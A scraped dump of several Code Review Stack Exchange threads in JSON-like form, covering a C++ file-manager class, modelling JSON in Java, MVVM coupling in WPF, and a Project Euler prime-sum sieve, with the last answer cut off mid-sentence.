fm["2"].init_read_write_mode(ReadWriteMode::MULTIPLE);
for (size_t i = 0; i < 100; i++) {
fm["2"].write(&i);
}
//f.init_read_write_mode(ReadWriteMode::MULTIPLE);
size_t j;
for (size_t i = 0; i < 100; i++) {
fm["2"].read(&j);
cout << j << " ";
}
cout << endl;
return 0;
}
</code></pre>
<p>You can find more examples/code utilities on <a href="https://github.com/korelkashri/filesApi" rel="nofollow noreferrer">GitHub</a>.</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T00:11:24.110",
"Id": "431257",
"Score": "3",
"body": "Welcome to Code Review! Yes, you got the right place, helping people improve their code is exactly what we do here. Hope you get some great answers!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T09:02:10.817",
"Id": "431287",
"Score": "0",
"body": "Can you describe in a few sentences what you need the \"file descriptors\" for? I don't see an immediate value in repeatedly writing `f[\"1\"]` when a simple variable would serve the same purpose?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T09:56:20.443",
"Id": "431293",
"Score": "0",
"body": "@RolandIllig if I understand what do you mean, I don't want to hold 200 variables if I need to manage i/o operations over 200 different files. It's true that a simple variable would serve the same purpose, but it is easier to mange some items with the same access generic way. A little priciple to compare to: An abstract classes. there it's with different objects types, here it with different files."
}
] | [
{
"body": "<h1>Don't reimplement functionality that is already provided by the standard library</h1>\n\n<p>Why do you need a <code>FilesManager</code>? It is just a glorified <code>std::map</code>. The only extra features it has is a limit for the maximum number of files, and that you can specify a base directory. In my opinion, that's not enough to warrant this class.</p>\n\n<p>Why would you ever want to set a limit to the number of files? That will only cause it to fail to add a file when you want to. Also, the <code>FilesManager::add()</code> function will just return without any error when it didn't insert a <code>File</code> into <code>files</code>.</p>\n\n<p>What's even weirder is that the <code>FilesManager::get()</code> function will actually add a new <code>File</code> to <code>files</code> when it couldn't find the <code>id</code>, bypassing the <code>max_files</code> restriction. But unless you remember to call <code>File::set_name()</code>, it will try to open the base path...</p>\n\n<p>Many functions will never return any errors, and they don't do any error checking themselves. For example, when you close a file, you don't check if the <code>failbit</code> is set.</p>\n\n<p>So, I suggest you avoid making wrappers for <code>std::fstream</code> and <code>std::map</code>, and just let the application use those standard library classes directly.</p>\n\n<h1>Focus on making the new functionality generic enough to work on <code>std::fstream</code></h1>\n\n<p>The main novelty of your code is reading and writing vectors and arrays from/to files in an easy way. You can make your templates that do this work on file streams instead. For example, to ensure you can write vectors to an output stream, you can write:</p>\n\n<pre><code>template<class T>\nstd::ostream &operator<<(std::ostream &out, const std::vector<T> &data) {\n out.write(reinterpret_cast<const char *>(val.data()), sizeof(T) * val.size());\n return *this;\n}\n</code></pre>\n\n<h1>Adding locks to <code>read()</code> and <code>write()</code> is not useful.</h1>\n\n<p>If you are going to read and write to a file from multiple threads, the mutex you use to synchronize calls to <code>File::read()</code> and <code>File::write()</code> are not going to be of much help, because these mutexes don't guarantee anything about the order in which those functions are going to be executed. So, any thread will probably want to do its own high level locking, to ensure for example that multiple consecutive reads in one thread actually also read consecutive data from the file.</p>\n\n<h1>Maps are not thread-safe</h1>\n\n<p>While you added locks to individual functions of <code>class File</code>, you did not add a mutex to <code>class FilesManager</code> to protect against concurrent access of the map <code>files</code>. This means that if multiple threads try to add or remove files from a <code>FilesManager</code> object, it will corrupt the map, at best resulting in a crash, at worst resulting in a security hole.</p>\n\n<h1>Example without <code>class FilesManager</code> and <code>class File</code></h1>\n\n<p>The following code shows how your use example would work by only providing the operator overloads to read and write vectors to files, the <code>rw_soft()</code> wrapper. It uses the standard library for everything else. The code looks mostly the same, and has roughly the same level of verbosity.</p>\n\n<pre><code>#include <complex>\n#include <iostream>\n#include <fstream>\n#include <map>\n#include <vector>\n\ntemplate<typename T>\nstruct rw_s {\n T *data;\n size_t size;\n};\n\ntemplate<typename T> rw_s<T> rw_soft(T &data, size_t size = 1) {\n return rw_s<T>{&data, size};\n}\n\ntemplate<typename T>\nstd::ostream &operator<<(std::ostream &out, const std::vector<T> &vec) {\n out.write(reinterpret_cast<const char *>(vec.data()), sizeof(T) * vec.size());\n return out;\n}\n\n\ntemplate<typename T>\nstd::istream &operator>>(std::istream &in, std::vector<T> &vec) {\n in.read(reinterpret_cast<char *>(vec.data()), sizeof(T) * vec.size());\n return in;\n}\n\ntemplate<typename T>\nstd::ostream &operator<<(std::ostream &out, const rw_s<T> &info) {\n out.write(reinterpret_cast<const char *>(info.data), sizeof(T) * info.size);\n return out;\n}\n\ntemplate<typename T>\nstd::istream &operator>>(std::istream &in, const rw_s<T> &info) {\n in.read(reinterpret_cast<char *>(info.data), sizeof(T) * info.size);\n return in;\n}\n\nint main() {\n const auto create = std::ios_base::in | std::ios_base::out | std::ios_base::trunc;\n\n std::map<const std::string, std::fstream> fm;\n fm[\"1\"] = std::fstream(\"test_file.bin\", create);\n\n std::vector<std::complex<float>> wdata = {{1, 9}, {3, 75}, {213.34, 21.4}, {153.1, 15.85}};\n std::vector<std::complex<float>> rdata(wdata.size());\n\n fm[\"1\"] << wdata;\n fm[\"1\"].seekg(0);\n fm[\"1\"] >> rdata;\n\n fm[\"5\"] = std::fstream(\"test_file2.bin\", create);\n int a = 12;\n int b = 0;\n fm[\"5\"] << rw_soft(a);\n fm[\"5\"].seekg(0);\n fm[\"5\"] >> rw_soft(b);\n std::cout << b << '\\n';\n\n fm.erase(\"5\");\n fm[\"5\"] << rw_soft(a); // Error\n fm[\"5\"].seekg(0); // Error\n fm[\"5\"] >> rw_soft(b); // Error\n\n for (auto &&val: rdata) {\n std::cout << val << '\\n';\n }\n\n fm[\"2\"] = std::fstream(\"test_file2.bin\", create);\n\n for (size_t i = 0; i < 100; i++) {\n fm[\"2\"] << rw_soft(i);\n }\n\n fm[\"2\"].seekg(0);\n\n for (size_t i = 0; i < 100; i++) {\n size_t j = 0;\n fm[\"2\"] >> rw_soft(j);\n std::cout << j << ' ';\n }\n std::cout << '\\n';\n}\n</code></pre>\n\n<h1>Avoid using maps to store a collection of objects if it's not necessary.</h1>\n\n<p>This is not so much about the implementation of your classes, but rather about your intended use of <code>class FilesManager</code>. Maps are not free; looking up an element in a map means traversing a tree structure, comparing strings at every node in this tree. While you mention you don't want to hold 200 files in 200 separate variables, there are many other ways to avoid having to declare 200 variables, some of them simpler and/or faster than a <code>std::map</code>. For example, you could just make an array or a <code>std::vector</code> of 200 files.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-09-06T23:07:20.003",
"Id": "443184",
"Score": "0",
"body": "I do agree with you that there are things to improve, but you missed up some of the functionality in my implementation. I thank you for the issues you mentioned, however I want to make a point about the choosing in `map` instead of a `vector`. In large projects, you want to keep the code as readable and understandable for the largest period as you can. After 2-3 years, you will have hard time in understanding, what your previous one in the job, ment when he wrote `files[12]`, instead of `files[\"available_users.bin\"]`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-09-06T23:15:54.070",
"Id": "443185",
"Score": "0",
"body": "One important thing that I set as a target in my implementation, is the easy way of use in the functionality. Instead of making hard rows in every using part like: `const auto create = std::ios_base::in | std::ios_base::out | std::ios_base::trunc; std::map<const std::string, std::fstream> fm; fm[\"1\"] = std::fstream(\"test_file.bin\", create);`, give even to a starter programmer in this language the ability to use this code, and to fully understand the use way."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-09-07T08:15:58.637",
"Id": "443224",
"Score": "0",
"body": "@KorelK If you are literally going to write `files[\"available_users.bin\"]` in the code, why not write `std::fstream available_users_file(\"available_users.bin\")` to begin with? I can only see a map being useful if the code doesn't know these names up front and really needs to map a file object to some string identifier."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-09-07T08:23:14.377",
"Id": "443226",
"Score": "0",
"body": "@KorelK I agree that the `const auto create = ...` is a bit verbose and not user-friendly. However, you would normally use either `std::ifstream` or `std::ofstream` to read and write files, and get the expected behavior without having to explicitly give `std::ios_base` flags. And, it's always better for a starter programmer to learn how to use the standard library properly. Here I used `std::fstream` to match your example code where you reuse a `File` for both writing and reading."
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-09-06T19:39:16.320",
"Id": "227598",
"ParentId": "222736",
"Score": "3"
}
},
{
"body": "<h2><code>File</code> class:</h2>\n\n<pre><code>rw_s(T &value, size_t arr_size = 1);\n...\ntemplate<typename T> rw_s<T> rw_soft(T &value, size_t arr_size = 1);\n...\nFile &read(T *val, size_t data_size = 1);\n</code></pre>\n\n<p>The default size argument is likely to cause problems. I'd suggest separating the interface for reading / writing arrays from single values. </p>\n\n<ul>\n<li>Reading / writing a single value can be done by taking a reference argument and no size argument.</li>\n<li>Reading and writing an array should take both parameters, and not have a default size (because the user will <em>always</em> want to specify it).</li>\n</ul>\n\n<p>They can still use the same underlying implementation.</p>\n\n<hr>\n\n<pre><code>template<class T>\nFile &File::operator >> (std::vector<T> &data) {\n return read(data);\n}\n</code></pre>\n\n<p>These operators are unnecessary duplication of the read and write functions.</p>\n\n<p>Note that the C++ standard streams use <code>operator>></code> and <code>operator<<</code> for formatted (text) input and output, whereas your file class only does binary input and output. This may cause confusion.</p>\n\n<p><code>std::vector</code> is only one type of container, and users are likely to require support for data structures or their own custom classes. It might be better to implement the stream operators as free functions rather than member functions. That would allow users to specify their own custom versions. All these implementations can then use the <code>read()</code> and <code>write()</code> member functions (or other stream operators).</p>\n\n<hr>\n\n<pre><code> file_ptr.read((char *)(val), sizeof(T) * data_size); // note: missing reinterpret_cast?\n file_ptr.read(reinterpret_cast<char *>(val.data()), sizeof(T) * val.size());\n file_ptr.read(reinterpret_cast<char *>(val.data()), sizeof(T) * val.size());\n file_ptr.write(reinterpret_cast<const char *>(val), sizeof(T) * data_size);\n</code></pre>\n\n<p>T must be a trivially copyable type for these to work. I suggest adding a <code>static_assert(std::is_trivially_copyable_v<T>, ...\"\");</code></p>\n\n<hr>\n\n<pre><code>template<class T>\nFile &File::read(std::vector<T> &val) {\n if (!is_file_ready(0)) {\n return *this;\n }\n open(read_flags, FileAction::READ);\n std::lock_guard<std::mutex> guard(read_write_mutex);\n\n file_ptr.read(reinterpret_cast<char *>(val.data()), sizeof(T) * val.size());\n\n update_rwm();\n return *this;\n}\n\ntemplate<typename T>\nFile &File::write(const std::vector<T> &val) {\n if (!is_file_ready(0)) {\n return *this;\n }\n open(write_flags, FileAction::WRITE);\n std::lock_guard<std::mutex> guard(read_write_mutex);\n\n file_ptr.write(reinterpret_cast<const char *>(val.data()), sizeof(T) * val.size());\n\n update_rwm();\n return *this;\n}\n</code></pre>\n\n<p>One often uses a dynamic container like <code>std::vector</code> when one does not know the required size in advance. It would be more helpful to store the size of the vector too, instead of forcing users to deal with this themselves.</p>\n\n<hr>\n\n<pre><code> template<class T>\n File &read(T *val, size_t data_size = 1);\n</code></pre>\n\n<p>Note that even basic types are different sizes on different platforms, and may be big or little endian. This may not matter to you right now, but it does make your read and write implementations inherently dangerous.</p>\n\n<p>A safer interface would ensure that the user specifies the size of the type they wish to write, and convert to a specific endianness before writing (and do the opposite for reading).</p>\n\n<hr>\n\n<pre><code>File::File(const std::string &file_name, bool exceptions, const std::string &file_path) {\n name = file_name;\n path = file_path;\n is_ready = !name.empty();\n use_exceptions = exceptions;\n is_open = false;\n file_mode = FileMode::OPEN_IN_ACTION;\n read_write_mode = ReadWriteMode::DONE;\n file_action = FileAction::NONE;\n write_flags = std::ios::out | std::ios::binary | std::ios::in;\n read_flags = std::ios_base::in;\n}\n</code></pre>\n\n<p>Prefer to use a constructor initializer-list, instead of initializing members in the body of the constructor, so that initialization only happens once:</p>\n\n<pre><code>File::File(const std::string &file_name, bool exceptions, const std::string &file_path):\n is_ready(!file_name.empty()),\n name(file_name),\n path(file_path),\n ...\n</code></pre>\n\n<hr>\n\n<p><code>is_ready</code> and <code>is_open</code> are unnecessary duplication. We could instead write them as functions that return <code>!name.empty()</code> and <code>file_ptr.is_open()</code>.</p>\n\n<hr>\n\n<pre><code>File::~File() {\n std::lock_guard<std::mutex> guard(read_write_mutex);\n close();\n}\n</code></pre>\n\n<p>Shouldn't the guard be inside the <code>close</code> function, since the user can call <code>close</code> themselves?</p>\n\n<hr>\n\n<pre><code> std::string get_name();\n bool is_file_ready();\n // ... and others\n</code></pre>\n\n<p>Member functions that don't change member data must be <code>const</code>.</p>\n\n<hr>\n\n<pre><code> bool is_file_ready(int);\n</code></pre>\n\n<p>Use a function with a different name (e.g. <code>throw_if_not_ready</code>), instead of an unused <code>int</code> parameter.</p>\n\n<hr>\n\n<pre><code> void init_read_write_mode(const ReadWriteMode &mode, int multiple_times = -1);\n</code></pre>\n\n<p>This function does not really do any \"initialization\". Perhaps <code>set_...</code> would be better.</p>\n\n<hr>\n\n<pre><code>void File::set_name(const std::string &new_name)\n</code></pre>\n\n<p>It's extremely inconsistent and confusing to allow the user to change this while a file is open! The same issue exists with several other functions in the class.</p>\n\n<hr>\n\n<pre><code>File &File::operator=(const std::string &new_name) {\n set_name(new_name);\n return *this;\n}\n</code></pre>\n\n<p>A file name string is not logically a file. This is unnecessary duplication of <code>set_name</code>.</p>\n\n<hr>\n\n<pre><code> void init_write_flags(std::ios_base::openmode write_flags = std::ios::out | std::ios::binary | std::ios::in);\n</code></pre>\n\n<p>Why <code>in</code> for writing?</p>\n\n<hr>\n\n<pre><code>void File::open(std::ios_base::openmode mode_flags, const FileAction &new_file_action)\n</code></pre>\n\n<p><code>FileAction</code> should probably be determined by checking the flags. As it is, we have duplicate information that could be inconsistent.</p>\n\n<hr>\n\n<h2><code>FilesManager</code> class:</h2>\n\n<pre><code>std::map<std::string, std::shared_ptr<File>> files;\n</code></pre>\n\n<p>The file ownership is not shared with anything, so we have no reason to use a <code>shared_ptr</code>.</p>\n\n<hr>\n\n<pre><code> std::string files_path;\n</code></pre>\n\n<p>It turns out we are setting the <code>path</code> member of <code>File</code> to this same value for every single file! That's a huge amount of unnecessary duplication.</p>\n\n<hr>\n\n<pre><code>void FilesManager::operator+=(const add_data &data) {\n add(std::get<0>(data), std::get<1>(data));\n}\n\nFile &FilesManager::operator[](const std::string &id) {\n return get(id);\n}\n\nvoid FilesManager::operator-=(const std::string &id) {\n remove(id);\n}\n</code></pre>\n\n<p>We're duplicating code here, and also adding complexity with the <code>add_data</code> struct. Generally in C++ we should avoid overloading operators, unless it's for very common and unambiguous mathematical operations.</p>\n\n<p>We would expect const versions of <code>get()</code> and <code>operator[]</code>. The behavior of adding a missing file is very surprising for a <code>get()</code> function.</p>\n\n<hr>\n\n<pre><code>void FilesManager::remove_unusable_files()\n</code></pre>\n\n<p>This function seems to be called whenever we access or do anything with the files. It would be simpler to just avoid storing any unusable files in the first place.</p>\n\n<hr>\n\n<pre><code>void FilesManager::add(const std::string &id, const std::string &file)\nFile &FilesManager::get(const std::string &id)\nvoid FilesManager::remove(const std::string &id)\n</code></pre>\n\n<p>Do we not call these from different threads? If the <code>File</code> class needs to be thread-safe, doesn't the <code>FilesManager</code> too?</p>\n\n<hr>\n\n<pre><code>void FilesManager::add(const std::string &id, const std::string &file)\n</code></pre>\n\n<p>It seems the user has to know the file name to add it to the <code>FilesManager</code>. In that case, they already have the means to get the filename for a given id, and there is probably no need to store the filename in the <code>File</code>.</p>\n\n<hr>\n\n<h2>Purpose:</h2>\n\n<p>Overall it's unclear what the purpose of any of this code is. It seems a mixture of the following:</p>\n\n<ul>\n<li>Binary IO - this is useful, but the current implementation isn't platform independent, and has other flaws.</li>\n<li>Thread-safe reading and writing - but being thread-safe in itself doesn't really help with anything, and the <code>FileManager</code> isn't thread-safe.</li>\n<li>Associating file paths with ids - but we can do that more clearly with a separate map.</li>\n<li>Some sort of automatic file opening and closing system - but we can do that better with simple RAII (<code>std::fstream</code> file handles close the file when the handle goes out of scope - the user can simply hold the handle for as long as they need).</li>\n</ul>\n\n<hr>\n\n<h2>Writing binary data:</h2>\n\n<p>Utilities for writing binary data are definitely helpful. But we can implement these around the existing <code>std::ostream</code> and <code>std::istream</code> through a simpler interface:</p>\n\n<pre><code>enum class Endian { Big, Little };\n\nvoid WriteBinary(std::ostream& stream, Endian endian, bool value);\nvoid WriteBinary(std::ostream& stream, Endian endian, char value);\nvoid WriteBinary(std::ostream& stream, Endian endian, signed char value);\nvoid WriteBinary(std::ostream& stream, Endian endian, unsigned char value);\n// ... (same for other pod types)\n\nvoid ReadBinary(std::istream& stream, Endian endian, bool& value);\n// ... (similar for reading)\n</code></pre>\n\n<p>Note that correct platform independence is quite difficult. Internally these functions would need to:</p>\n\n<ul>\n<li>Decide on a fixed number of bits to write for each type (and handle issues with types being different sizes on different platforms).</li>\n<li>Use <code>std::memcpy</code> to convert to the unsigned type of the corresponding fixed size.</li>\n<li>Change the byte order from system endianness to the output endianness (if needed).</li>\n<li>Finally call stream.write();</li>\n</ul>\n\n<p>We (or users of the library) can extend this by defining similar functions for custom types:</p>\n\n<pre><code>template<class T>\nvoid WriteBinary(std::ostream& stream, Endian endian, std::vector<T> const& value);\n\ntemplate<class KeyT, class ValueT, class PredicateT, class AllocatorT>\nvoid WriteBinary(std::ostream& stream, Endian endian, std::std::map<KeyT, ValueT, PredicateT, AllocatorT> const& value);\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-09-07T13:30:36.940",
"Id": "443270",
"Score": "0",
"body": "Thanks! It'll take some time for me to work on those improvements those days, but it absolutely help me to understand how to create better libraries in the future and gave me some additional points to focus whenever I want to build new libraries (and this is what I looked for)."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-09-07T06:39:25.967",
"Id": "227621",
"ParentId": "222736",
"Score": "3"
}
}
] | {
"AcceptedAnswerId": "227621",
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T23:57:01.123",
"Id": "222736",
"Score": "10",
"Tags": [
"c++",
"file-system"
],
"Title": "Files manager API in C++"
} | 222736 |
<p>I'm a front end developer who is brand new to backend development. My task is to model json in a Java object. It's just some mock data for now that my controller returns. </p>
<pre><code>{
"data": {
"objectId": 25,
"columnName": [
"myCategory",
"myCategoryId"
],
"columnValues": [
[
"Category One",
1
],
[
"Category Two",
2
],
[
"Category Three",
3
],
[
"Category Four",
4
],
[
"Category Five",
5
]
]
}
</code></pre>
<p>}</p>
<p>And here's my attempt. The controller returns this json correctly. But isn't this too simple? What I believe should be done is extrapolate the <em>columnName</em> and <em>columnValues</em> arrays into separate classes but I'm not sure how. </p>
<pre><code>package com.category;
import java.util.List;
public class MyObjectData {
private int objectId;
private List columnName;
private List columnValues;
public int getObjectId() {
return objectId;
}
public void setObjectId(int objectId) {
this.objectId = objectId;
}
public List getColumnName() {
return columnName;
}
public void setColumnName(List colName) {
this.columnName = colName;
}
public List getColumnValues() {
return columnValues;
}
public void setValues(List values) {
this.columnValues = values;
}
}
</code></pre>
<p>Regarding the <em>columnNames</em> and <em>columnValues</em>, I feel like I should be doing something like this in the model instead:</p>
<pre><code>private List<ColumnNames> columnNames;
private List<ColumnValues> columnValues;
public List<ColumnNames> getColumnNames() {
return columnNames;
}
public void setColumnNames(List<ColumnNames> columnNames) {
this.columnNames = columnNames;
}
public List<ColumnValues> getColumnValues() {
return columnValues;
}
public void setColumnValues(List<ColumnValues> columnValues) {
this.columnValues = columnValues;
}
</code></pre>
<p>And then I'd have two separate classes for them like this:</p>
<pre><code>package com.category;
import java.util.List;
public class ColumnName {
private String columnName;
public String getColumnName() {
return columnName;
}
public void setColumnName(String columnName) {
this.columnName = columnName;
}
}
package com.category;
import java.util.List;
public class ColumnValue {
private String columnValue;
private int columnValueId;
public String getColumnValue() {
return columnValue;
}
public void setColumnValue(String columnValue) {
this.columnValue = columnValue;
}
public String getColumnValueId() {
return columnValueId;
}
public void setColumnValueId(int columnValueId) {
this.columnValueId = columnValueId;
}
}
</code></pre>
<p>I feel like I have all the right pieces but just not sure if this is a better approach than my initial attempt...which works. Just looking for input. Thanks in advance. </p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T15:30:10.203",
"Id": "431332",
"Score": "0",
"body": "Do you have to model the data as it is? If the data and its layout will never change, your approach of defining classes like that should be fine. However, if the data changes even slightly, eventually it would probably be a hassle to keep updating and revising your classes. Instead, it would probably be better to use a JSON library to contain the data so that it can be easily modified. There is one that I've used that's lightweight and reliable; I'll try to find a link to the github page."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T17:49:35.160",
"Id": "431346",
"Score": "0",
"body": "I'm messing around with Jackson now. Thank you for the suggestion."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T08:45:43.057",
"Id": "431691",
"Score": "1",
"body": "The data looks like it is a straight representation of a CSV table in JSON. If this is the case, then I would call it \"flat json\" instead of \"hierarchical\" and it might be helpful if you modeled your Java objects to represent a CSV data structure. By naming your objects as Table, Header and Row or similar, they would describe the data structures accurately."
}
] | [
{
"body": "<p>You implied Json -> Java object, but have you considered the other way around? If so, check out Java object to Json serialization/deserialization using Gson. Get more at <a href=\"https://en.wikipedia.org/wiki/Gson\" rel=\"nofollow noreferrer\">https://en.wikipedia.org/wiki/Gson</a> and <a href=\"https://static.javadoc.io/com.google.code.gson/gson/2.8.5/com/google/gson/Gson.html\" rel=\"nofollow noreferrer\">https://static.javadoc.io/com.google.code.gson/gson/2.8.5/com/google/gson/Gson.html</a></p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-07-03T15:50:34.737",
"Id": "223427",
"ParentId": "222738",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T00:03:57.180",
"Id": "222738",
"Score": "3",
"Tags": [
"java",
"json"
],
"Title": "How to model hierarchical json in Java"
} | 222738 |
<p>In my application I am using two view models. <strong>MainViewModel</strong> if fiered when <strong>MianWindow</strong> is initialized. And <strong>UpdateViewModel</strong> is fiered when <strong>UpdateWindow</strong> is initialized.</p>
<p>The <strong>update VM</strong> is supposed to use data from collection that is a property of the <strong>main VM</strong> and has its instance aready, and I need to refer to it somehow. And I was wondering, is refering to this collection with <code>MainViewModel vm = (MainViewModel)win.DataContext;</code> is breaking MVVM pattern or testability somehow or is any kind of antipattern? Or maybe the collections has to be passed <strong>update VM</strong> as a parameters, and sent back? Thank you.</p>
<p>The code:</p>
<pre><code>public class UpdateViewModel : ViewModelBase
{
public UpdateViewModel()
{
Jockeys = new ObservableCollection<LoadedJockey>();
PopulateCollections();
}
private void PopulateCollections()
{
MainWindow win = Application.Current.Windows.OfType<MainWindow>().FirstOrDefault();
MainViewModel vm = (MainViewModel)win.DataContext;
Jockeys = vm.Jockeys; //is it ok?
vm.Jockeys //is it ok?
}
public ObservableCollection<LoadedJockey> Jockeys { get; private set; }
}
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T05:25:38.937",
"Id": "431276",
"Score": "1",
"body": "We need more context than this. What are `MainWindow` and `MainViewModel`? How does you `xaml` look like? What is this code doing at all? Is this a new window, a popup, a user-control, etc, etc... Currently, this is too general."
}
] | [
{
"body": "<p><code>MainWindow</code> is a view object which should be avoided in <code>ViewModel</code> classes. Passing the collection as constructor parameter to the <code>UpdateViewModel</code> would be better. If you want to achieve a high level of testability, you would need to study more about dependency injection.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T07:08:16.050",
"Id": "431278",
"Score": "0",
"body": "Thank you, that is what I was suspecting, that it could be too tight coupling. Right now I started to learn about ViewModel navigation."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T06:55:20.893",
"Id": "222750",
"ParentId": "222741",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": "222750",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T01:34:35.840",
"Id": "222741",
"Score": "-1",
"Tags": [
"c#",
"wpf",
"mvvm"
],
"Title": "Is attempt like this, when using Application class, breaking MVVM pattern?"
} | 222741 |
<p>I've solved <a href="https://projecteuler.net/problem=10" rel="nofollow noreferrer">question 10</a> on Project Euler using the Sieve of Eratosthenes, what can I do to optimize my code?</p>
<pre><code>def prime_sum(n):
l=[0 for i in range(n+1)]
l[0]=1
l[1]=1
for i in range(2,int(n**0.5)+1):
if l[i]==0:
for j in range(i * i, n+1, i):
l[j]=1
s=0
for i in range(n):
if l[i] == 0:
s+=i
print(s)
if __name__ == '__main__':
prime_sum(2000000)
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T04:33:00.250",
"Id": "431268",
"Score": "0",
"body": "Attempted? Did you succeed?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T04:33:52.987",
"Id": "431269",
"Score": "0",
"body": "yes , i did succeed"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T04:34:46.120",
"Id": "431270",
"Score": "0",
"body": "Cool, then I suggest you edit the question and add language that indicates same."
}
] | [
{
"body": "<h1>Code readability and style -</h1>\n\n<hr>\n\n<p>I believe that good code should have good style and should be more readable and concise.</p>\n\n<hr>\n\n<p>According to <a href=\"https://www.python.org/dev/peps/pep-0008/#names-to-avoid\" rel=\"nofollow noreferrer\">PEP 8</a> -</p>\n\n<blockquote>\n <p><em>Never use the characters <code>l</code> (lowercase letter el), <code>O</code> (uppercase\n letter oh), or <code>I</code> (uppercase letter eye) as single character variable\n names.</em></p>\n \n <p><em>In some fonts, these characters are indistinguishable from the\n numerals one and zero. When tempted to use <code>l</code>, use <code>L</code> instead.</em></p>\n</blockquote>\n\n<hr>\n\n<p>I ran a <a href=\"https://www.python.org/dev/peps/pep-0008/\" rel=\"nofollow noreferrer\">PEP 8</a> checker over your code, and here are the results -</p>\n\n<blockquote>\n <p><a href=\"https://i.stack.imgur.com/c3vSo.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/c3vSo.png\" alt=\"enter image description here\"></a></p>\n</blockquote>\n\n<p>This means that your code uses inconsistent whitespaces. Therefore, your code (in terms of readability and style) could be improved like this (along with other recommendations) -</p>\n\n<pre><code>def prime_sum(n):\n my_list = [0 for i in range(n+1)]\n\n my_list[0] = 1\n my_list[1] = 1\n\n for i in range(2, int(n**0.5) + 1):\n if my_list[i] == 0:\n for j in range(i*i, n+1, i):\n my_list[j] = 1\n s = 0\n for i in range(n):\n if my_list[i] == 0:\n s += i\n print(s)\n\nif __name__ == '__main__':\n prime_sum(2000000)\n</code></pre>\n\n<hr>\n\n<p>Also, good use of the <a href=\"https://www.geeksforgeeks.org/what-does-the-if-__name__-__main__-do/\" rel=\"nofollow noreferrer\"><code>if __name__ == __'main__':</code></a> guard. Most people don't even attempt to use it.</p>\n\n<hr>\n\n<h1>Improvements to your code -</h1>\n\n<p>Python provides a set type which is quite efficient at performing both of those operations (although it does chew up a bit more RAM than a simple list). Gladly, it's easy to modify your code to use a set instead of a list. Computation with sets is much faster because of the hash tables (<a href=\"https://stackoverflow.com/questions/8929284/what-makes-sets-faster-than-lists-in-python\">What makes sets faster than lists in python?</a>).</p>\n\n<p>Also, we don't need to keep a running total of the sum of the primes. It's better to do that at the end using Python's built-in <code>sum()</code> function, which operates at C speed, so it's much faster than doing the additions one by one at Python speed.</p>\n\n<p>So your code would then look like this -</p>\n\n<pre><code>def eratosthenes(n):\n # Declare a set - an unordered collection of unique elements\n multiples = set()\n for i in range(2, n+1):\n if i not in multiples:\n yield i\n multiples.update(range(i*i, n+1, i))\n\nif __name__ == '__main__':\n # Now sum it up\n prime_sum = sum(eratosthenes(2000000))\n print(prime_sum)\n</code></pre>\n\n<p>which uses less space too.</p>\n\n<p>If you're wondering what yield is...</p>\n\n<blockquote>\n <p><em>The <code>yield</code> statement suspends function’s execution and sends a value\n back to the caller, but retains enough state to enable function to resume\n where it is left off. When resumed, the function continues execution\n immediately after the last yield run. This allows its code to produce\n a series of values over time, rather them computing them at once and\n sending them back like a list.</em></p>\n</blockquote>\n\n<p><sup><sup>Source - <a href=\"https://www.geeksforgeeks.org/use-yield-keyword-instead-return-keyword-python/\" rel=\"nofollow noreferrer\">https://www.geeksforgeeks.org/use-yield-keyword-instead-return-keyword-python/</a></sup></sup></p>\n\n<p>And if you are wondering what <code>.update()</code> is...</p>\n\n<blockquote>\n <p><em>The <code>update()</code> adds elements from a set (passed as an argument) to the\n set (calling the <code>update()</code> method).</em></p>\n \n <p><em>The syntax of <code>update()</code> is -</em></p>\n\n<pre><code>A.update(B)\n</code></pre>\n</blockquote>\n\n<p><sup><sup>Source - <a href=\"https://www.geeksforgeeks.org/python-set-update/\" rel=\"nofollow noreferrer\">https://www.geeksforgeeks.org/python-set-update/</a></sup></sup></p>\n\n<hr>\n\n<p>Now let's time your code -</p>\n\n<pre><code># %timeit prime_sum(2000000)\n>>> 648 ms ± 19.7 ms per loop (mean ± std. dev. of 7 runs, 1 loop each)\n</code></pre>\n\n<p>which does look pretty slow.</p>\n\n<hr>\n\n<p>With the improved code, the time to execute greatly decreases -</p>\n\n<pre><code># %timeit eratosthenes(2000000)\n>>> 264 ns ± 2.73 ns per loop (mean ± std. dev. of 7 runs, 1000000 loops each)\n</code></pre>\n\n<hr>\n\n<pre class=\"lang-none prettyprint-override\"><code>Key: ms - milliseconds\n ns - nanoseconds\n</code></pre>\n\n<hr>\n\n<p>Hope this 